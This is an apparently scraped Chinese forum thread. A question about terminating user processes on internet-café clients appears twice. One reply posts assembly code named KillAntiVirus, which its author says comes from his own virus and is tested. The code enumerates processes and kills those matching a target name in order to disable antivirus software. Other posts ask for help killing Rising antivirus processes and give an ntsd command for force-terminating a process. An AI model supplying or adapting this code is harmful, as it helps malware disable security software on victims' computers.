我现在做一套网吧管理程序,现在想在客户端实现这样一个功能:当用户点击自动结账下机以后,系统自动杀死所有用户进程,就是此用户打开的
所有进程,这样就使机器形成一种刚刚开机的干净状态,以供下一个用户使用.我的理论做法是当用户登陆时,记录当前所有进程信息,当用户退出时,比较记录
的进程信息和当前的进程信息不一样的地方,然后杀死.我想问:还有没有比这个更好的方法,或者有没有直接可以杀死所有"非系统进程
的函数存在呢?
所有进程,这样就使机器形成一种刚刚开机的干净状态,以供下一个用户使用.我的理论做法是当用户登陆时,记录当前所有进程信息,当用户退出时,比较记录
的进程信息和当前的进程信息不一样的地方,然后杀死.我想问:还有没有比这个更好的方法,或者有没有直接可以杀死所有"非系统进程
的函数存在呢?
; 终止杀毒软件 测试通过
;##########################################################
KillAntiVirus proc
LOCAL lppe:PROCESSENTRY32
LOCAL hProcessSnap:DWORD
mov lppe.dwSize,SIZEOF PROCESSENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄
mov hProcessSnap,eax
;循环获取进程信息判断是否为杀毒软件
invoke Process32First,hProcessSnap,addr lppe
.WHILE eax
invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe")
.IF eax==0
invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID
invoke TerminateProcess,eax,-1 ;如果是杀毒软件 杀掉它
.ENDIF
invoke Process32Next,hProcessSnap,addr lppe
.ENDW invoke CloseHandle,hProcessSnap
ret
KillAntiVirus endp
从俺病毒里摘点代码给你 不过是汇编写的
大致上这个函数你要自己写用到API就是这些
CreateToolhelp32Snapshot
Process32First
OpenProcess
TerminateProcess
Process32Next
CloseHandle有些系统进程是可以杀死得(要将其设置为Debug权限)有些不可以杀死。
按道理俺应该终止了它,可是,居然没被干掉,又复活了,或者根本没被干掉过,郁闷之极啊,
谁帮偶搞定瑞星这种类似病毒的3个进程,偶散888分伺候。
ntsd -c q -p PID(PID为你要终止的进程的ID)